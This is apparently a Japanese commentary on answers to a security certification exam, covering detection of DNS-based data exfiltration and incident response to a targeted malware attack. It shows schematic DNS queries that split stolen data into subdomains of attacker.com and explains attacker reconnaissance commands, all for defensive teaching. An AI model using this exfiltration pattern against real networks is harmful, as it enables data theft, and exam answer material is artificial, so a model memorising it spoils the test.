   ここで、クライアントからキャッシュDNSサーバに送信されるクエリを再帰的クエリ、キャッシュDNSサーバから権威DNSサーバに送信されるクエリを非再帰的クエリと言います。これらを考慮すると、空欄dは再帰的クエリが適切でしょう。

(5)

   (4)で考察した攻撃において「長いホスト名をもつDNSクエリの発生」以外にどのような特徴が現れると言えるのでしょうか。

   当然のことながら、DNSクエリのパケットサイズには上限があります。そのため、持ち出したい情報のデータサイズがその上限を超える場合、パケットを分割する必要があります(本問題のマルウェアにおいてもこのような動作が行われることが図2の(い)で示唆されています)。

   その場合、以下のようなDNSクエリのパケットが連続して観測されるでしょう。

<窃取する情報(part 1/N)>.attacker.com の名前解決クエリ
<窃取する情報(part 2/N)>.attacker.com の名前解決クエリ
...
<窃取する情報(part N/N)>.attacker.com の名前解決クエリ

   よって、空欄eには「特定のドメインに対する多数のDNSクエリの発生」が当てはまります。

   以上。

問3 標的型攻撃への対応

設問1

(1)

   不審PC(C&Cサーバと通信したPC)の電源を入れたままにしておく理由を考えます。

   さて、電源を入れたままにするということは、電源を消してしまうと何か不都合が発生するのだと考えられます。電源を消すことで失われる情報としてもっとも先に挙げられるものは、揮発性メモリ(いわゆる通常のメモリ)上の情報です。

   当然ながら、マルウェアはソフトウェアの一種であるため、実行するコードやそこで扱われるデータはメモリ上に展開されます。マルウェアの解析に当たっては、これらのメモリ上の情報を必要とします。これらの情報を用いることで、マルウェアがどのようなコードを実行しているのか、どのようなデータを扱っているのかを詳細に解析することができます。

   一方で、電源を消してしまうと当然メモリ上のデータは失われるため、前述のような解析が困難になってしまいます。

   よって、不審PCの電源を入れたままにしておく理由は、「メモリ上の情報が失われないようにするため」であると言えます。

(2)

   不審PCを利用者LANから切り離さない場合に想定されるマルウェアの活動のうち、J社にとって望ましくないものを考えます。

   さて、マルウェアの目標を端的に述べると「感染したホストにおいて目的とするコマンドを実行したり、機密情報を窃取して、インターネット上で待ち受ける攻撃者のサーバにそれを送信したりすること」だと言えます。また、攻撃の影響範囲を広げるために「ネットワークを介して感染を拡大させること」も副次的な目標だと言えるでしょう。

   これらを考慮すると、利用者LAN(ネットワーク)から切り離さない場合に想定されるマルウェアの活動のうち、J社にとって望ましくないものとは以下の2点であると言えます。

  • J社情報システムに感染を拡大する。
  • インターネットに情報を送信する。

   不審PCを利用者LANから切り離すことでネットワークアクセスそのものが失われるため、これら2点の懸念事項は同時に解消されます。

設問2

   表3中の空欄a,b,c,dに入れる適切な文章を考えます。

   表3に示されているコマンドは、いずれもWindowsにおいて実行可能なコマンドです。それぞれのコマンドの動作内容を考えることで、各空欄に入る攻撃者の目的を導出することができるでしょう。

   まず、ipconfigはネットワーク環境に関する情報を確認するためのコマンドです。 また/allオプションを指定することで、ネットワーク設定が詳細に表示されます。よって、空欄aには「ウ L-PCのIPアドレスMACアドレスなどネットワークアダプタの詳細な情報を取得する。」が当てはまります。

   次のsysteminfoはその名の通りシステムの情報を確認するためのコマンドです。例えば、ホスト名や所有者の情報、OSの詳細情報、システムの情報といったものを閲覧することができます。よって、空欄bには「イ L-PC内で悪用できる脆弱性を確認するために、OSのバージョンや脆弱性修正プログラムの適用状況を確認する。」が当てはまります。

   次のtasklistはコンピュータ上で実行中のプロセスの情報を確認するためのコマンドです。例えば、実行中のプロセスの名前や、そのプロセスのPID値を確認することができます。よって、空欄cには「オ 実行中のプロセス一覧を取得し、マルウェアの解析環境でないか確認する。」が当てはまります。

   最後のnet viewはLAN内のネットワークコンピュータの情報を表示するためのコマンドです。つまり、当該PCから接続可能なコンピュータを一覧表示するコマンドです。よって、空欄dには「ア L-PCからその時点で接続可能な端末の一覧を取得する。」が当てはまります。

   なお、解答群のエに当てはまる動作を行うコマンドは表3中にはありません。

設問3

(1)

   空欄eに当てはまる文章を考えます。

   なお、空欄eには「マルウェアが13:17:15より前に他のマシンに感染していた場合に、FWのログに含まれているであろう情報」が当てはまります。

   インシデント対応手順の改善の章においてE部長が懸念しているのは「Pサービスから通知を受けるより前にマルウェアMに感染したPC又はサーバがあるのではないか」ということです。もし、PC又はサーバがマルウェアMに感染している場合、マルウェアMのC&Cサーバであるw1.x1.y1.z1との通信が発生しているはずです。

   ここで、もし実際にC&Cサーバとの通信が発生しているのであれば、FWにおいてLAN上のマシンとw1.x1.y1.z1との間で発生する通信の履歴がログとして取得され、ログ蓄積サーバに送信されているはずです。

   よって、空欄eには「IPアドレスw1.x1.y1.z1との通信履歴」が当てはまります。

(2)

   「PC又はサーバの状態によっては、FWのログを使った確認ではマルウェアMに感染していることを検知できない」について、検知できないPC又はサーバの状態について考えます。

   さて、「マルウェアMに感染しているにも関わらずFWにログが残らない」状況は、どのような場合において発生するのでしょうか。

   マルウェアMが正しく動作していることを前提とすると、マシンとC&Cサーバ間で通信が行われていない理由は、マルウェアが通信をしようとした時にネットワークアクセスが存在していなかったためであると推察されます。例えば、マルウェアが感染し、C&Cサーバへの通信が発生する前にマシンからLANケーブルが取り外された場合においては、当然のことながらC&Cサーバへの通信は発生し得ません。

   よって、その状態とは「感染をしたが、C&Cサーバと通信する前にネットワークから切り離された状態。」だと言えます。

(3)

   では、(2)のような状態のPC又はサーバについて、マルウェアに感染していることをRログを使って検知するにはどのすれば良いのでしょうか。

   表1のRシステムの行に示されている通り、RログとはRシステムによって取得されるログです。そのログの内容は、以下の通りであると述べられています。

全てのプロセスの生成から終了までの動作、実行したプログラムのハッシュ値並びに通信の宛先のIPアドレス及びポート

   このうち、通信が発生していないので「通信の宛先のIPアドレス及びポート」は利用できません。よって、利用するのは「プロセスの生成から終了までの動作」か「実行したプログラムのハッシュ値」のどちらかになります。

   ここで、改めて表1のRシステムの行を確認すると、Rシステムの機能として以下の事柄が述べられています。

... Rログをマルウェアハッシュ値で検索することによって、そのマルウェアが実行された痕跡があるかどうか調査することができる。

   よって、Rログで収集される「実行したプログラムのハッシュ値」に基づいたマルウェアの検索を行うことで、対象のPC及びサーバがマルウェアMに感染しているかどうかを確認することができます。

   以上より、Rログを使った検知方法とは、「RログをマルウェアMのハッシュ値で検索する。」ことだと言えます。

   以上。